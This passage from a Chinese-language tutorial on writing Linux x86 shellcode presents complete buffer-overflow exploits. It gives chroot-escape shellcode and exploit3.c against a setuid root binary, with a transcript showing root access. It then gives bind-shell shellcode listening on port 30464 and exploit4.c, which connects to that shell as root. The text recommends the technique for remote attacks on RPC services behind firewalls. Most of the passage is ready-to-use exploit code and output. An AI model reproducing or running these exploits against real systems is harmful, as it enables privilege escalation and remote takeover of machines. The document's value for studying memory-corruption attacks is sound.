/* 建立目录的第一个参数是 %ebx 第二个参数是%ecx. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x17" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
/* 在用该指令前，%esi 已经装入了"/bin/sh"的地址 */
/* 该指令会装载 "sh" 的地址，并存储在%ebx */
"\xfe\xc5" /* incb %ch */
/* %cx = 0000 0001 0000 0000 */
"\xb0\x3d" /* movb $0xed,%cl */
/* %cx = 0000 0001 1110 1101 */
/* %cx = 000 111 101 101 */
/* %cx = 0 7 5 5 */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
chroot("sh"); code
----------------------------------------------------------------------------
/* chroot的第一个参数是 ebx */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
chroot("../../../../../../../../../../../../../../../../"); code
----------------------------------------------------------------------------
char code[]=
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
/* 经过伪装的 "../" 字符串 */
"\xf7\xdb" /* negl %ebx */
/* %ebx = $0x002f2e2e */
/* intel x86 is little endian. */
/* %ebx = "../" */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
/* 准备循环16次. */
"\x56" /* pushl %esi */
/* 备份当前的 %esi. %esi 有"/bin/sh" 的指针. */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl $0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
/* 使字符串 "../../../../ . . . " 在0x10(%esi)处循环 */
"\x5e" /* popl %esi */
/* 重置 %esi. */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
/* "../../../../ . . . "的地址为 %ebx . */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
5.3 修改常规的shellcode
将我们编制的突破chroot的代码放到常规shellcode的开头，然后修改jmp和call的参数。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"\xeb\x4f" /* jmp 0x4f */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\x5e" /* popl %esi */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xfe\xc5" /* incb %ch */
"\xb1\xed" /* movb $0xed,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
"\xf7\xdb" /* negl %ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
"\x56" /* pushl %esi */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl %0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
"\x5e" /* popl %esi */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xac\xff\xff\xff" /* call -0x54 */
"/bin/sh"; /* .string \"/bin/sh\" */
----------------------------------------------------------------------------
5.4 攻击程序3
exploit3.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define
        RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\xeb\x4f" /* jmp 0x4f */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\x5e" /* popl %esi */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xfe\xc5" /* incb %ch */
"\xb1\xed" /* movb $0xed,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
"\xf7\xdb" /* negl %ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
"\x56" /* pushl %esi */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl %0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
"\x5e" /* popl %esi */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xac\xff\xff\xff" /* call -0x54 */
"/bin/sh"; /* .string \"/bin/sh\" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long
        addr;
unsigned long sp;
int
        offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int
        i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode;
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
execl("./vulnerable3","vulnerable3",buff,0);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable3
-rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3*
[ user@hosts ~ ] {2} $ ls -l exploit3
-rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3*
[ user@hosts ~ ] {3} $ ./exploit3
Jump to 0xbfffec68
Segmentation fault
[ user@hosts ~ ] {4} $ ./exploit3 500
Jump to 0xbfffea74
Segmentation fault
[ user@hosts ~ ] {5} $ ./exploit3 -500
Jump to 0xbfffee5c
bash# whoami
root
bash# pwd
/home/ftp
bash# cd /
bash# pwd
/
bash# ls
afs boot etc home lost+found mnt root tmp var
bin dev export lib misc proc sbin usr
bash#
----------------------------------------------------------------------------
5.5 技巧用途
使用缓冲区溢出攻击一个chrooted setuid的程序，你将不能访问root目录。但是，你可
以用这项技术访问所有的路径。:)

6. 建立套接字（socket）连接
如果我们攻击一个存在缓冲区溢出漏洞的守护程序，会使它崩溃。因此在大多数情况下，
我们必须先执行一个shell，然后打开一个套接字端口，再利用标准I/O建立连接。否则，
不可能获得所需的shell。即使得到了shell，由于该守护程序已经崩溃，我们也无法执
行任何指令，所以，必须编制更为复杂的shellcode，用于与我们的机器建立连接。
6.1 攻击的例程
----------------------------------------------------------------------------
#include<string.h>
int main(int argc,char **argv)
{
char buffer[1024];
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
这是一个标准的存在溢出漏洞的程序.我们用它来验证如何编写打开一个socket连接的
shellcode。但我们太懒了,都不想编写守护例程.:-)
但是我敢保证，看完以下代码后，你一定不会失望。:)
6.2 编制建立套接字的代码
以下是可以建立套接字的程序。
opensocketasm1.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli,soc_len;
struct sockaddr_in
        serv_addr;
struct sockaddr_in cli_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);
soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr
        *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
soc_len=sizeof(cli_addr);
cli=accept(soc,(struct
        sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
----------------------------------------------------------------------------
使用汇编语言来写的话代码会不一样。你可以把上面的程序写得更简单点。
opensocketasm2.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli;
struct sockaddr_in
        serv_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x77;
soc=socket(2,1,6);
bind(soc,(struct sockaddr
        *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
----------------------------------------------------------------------------
编译和反汇编结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
[ user@hosts ~ ] {2} $ gdb opensocketasm2
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
fork(); code
----------------------------------------------------------------------------
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
socket(2,1,6); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
/* 第一个参数. */
/* 在使用该指令前 %esi 已经释放了存储空间. */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
bind(soc,(struct sockaddr *)&serv_addr,0x10); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* 在使用该指令前，%eax 取得soc的值. */
/* 第一个参数. */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=2 */
/* 2 被存储在 0xc(%esi) 中. */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
/* 存储的端口号在 0xe(%esi) 中. */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr的地址 */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
/* 0 被存储在 0x10(%esi) 中. */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
listen(soc,1); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* 在使用该指令前，%eax 取得soc的值. */
/* 第一个参数. */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
accept(soc,0,0); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\xf1" /* movl %eax,(%esi) */
/* 在使用该指令前，%eax 取得soc的值. */
/* 第一个参数. */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
dup2(cli,0); code
----------------------------------------------------------------------------
/* 第一个参数是 %ebx ，第二个参数是 %ecx */
char code[]=
/* 在使用该指令前，%eax 取得cli的值. */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------
6.3 修改常规的shellcode
你需要花点工夫来把上面的的代码融合到一块来。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
/* fork()!=0 case */
/* 它会调用 exit(0) */
/* 这样做的结果是,它会jump两次, 因为exit(0)被定位得太远了*/
"\xeb\x43" /* jmp 0x43 */
/* fork()==0 case */
/* 它会调用 -0xa5 */
/* 同样的，它也要jump两次,因为 -0xa5 也被定位得很远. */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
----------------------------------------------------------------------------
6.4 攻击程序
使用该shellcode，我们可以很方便的写出代码来。当然，你还得写个连接套接字
(socket)的代码。
exploit4.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#define ALIGN 0
#define OFFSET 0
#define
        RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct
        hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't
        resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return
        ip;
}
int exec_sh(int sockfd)
{
char
        snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int
        sockfd,i;
struct sockaddr_in sin;
printf("Connect to
        the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create
        socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr
        *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long
        addr;
unsigned long sp;
int
        offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int
        i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode;
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
if(fork()==0)
{
execl("./vulnerable4","vulnerable4",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable4
-rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4*
[ user@hosts ~ ] {2} $ ls -l exploit4
-rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4*
[ user@hosts ~ ] {3} $ ./exploit4
Jump to 0xbfffec64
Connect to the shell
Can't connect to the shell
[ user@hosts ~ ] {4} $ ./exploit4 500
Jump to 0xbfffea70
Connect to the shell
whoami
root
----------------------------------------------------------------------------
6.5 技巧用途
可用该技术来编写各种各样的远程攻击代码。如果被攻击的主机是在防火墙后的，你可
以在一个未过滤的端口打开一个套接字。这在你使用缓冲溢出来攻击一个rpc服务的
时候是非常之有效的。

7. 总结
